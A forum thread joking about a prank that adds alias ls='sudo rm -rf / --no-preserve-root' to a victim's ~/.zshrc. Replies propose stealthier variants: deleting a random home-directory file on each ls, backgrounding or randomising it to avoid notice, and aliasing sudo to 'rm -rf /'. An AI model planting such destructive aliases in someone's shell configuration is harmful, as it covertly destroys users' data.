Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc

  • Programmer Belch
    link
    fedilink
    English
    16611 months ago

    Why not make it more mischievous?

    alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
    

    This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.

    • asudox
      link
      2211 months ago

      lil trollin’

    • @[email protected]
      link
      fedilink
      14
      edit-2
      11 months ago

      the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &

    • Cyber Yuki
      link
      711 months ago

      Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

      • Programmer Belch
        link
        fedilink
        English
        711 months ago

        Russian Roulette Linux, the new distro using a coreutils implementation with a little trick

  • @[email protected]
    link
    fedilink
    5211 months ago

    Joke’s on you, I have transcended using ls because I have my entire folder structure memorized.

  • @[email protected]
    link
    fedilink
    English
    4211 months ago

    That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”

    Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.

      • @[email protected]
        link
        fedilink
        English
        511 months ago

        I don’t, after doing the classic rm -r -f / when I meant ./ the second time I realized I’m too much of a dumbass to be allowed to use sudo without password.

      • @voidMainVoid
        link
        211 months ago

        I’ve always had a password. One of the biggest benefits of Linux is security. Why would you undermine that by not using a password?

        • @[email protected]
          link
          fedilink
          411 months ago

          I do have a password. Sudo is just setup not to ask for it.

          On servers of course I use a password for sudo - but on a home machine there’s not much of a point I don’t think. It’s off when I’m not actively using it, and if some attacker or malware has access to my user they already have access to all my important files, or have physical access.

  • @KISSmyOS
    link
    41
    edit-2
    10 months ago

    deleted by creator

    • Eager Eagle
      link
      English
      511 months ago

      I used the stones to destroy the stones

  • Caveman
    link
    1111 months ago

    alias sudo="sudo rm -rf /"

  • DreamButt
    link
    English
    611 months ago

    Commit it, you won’t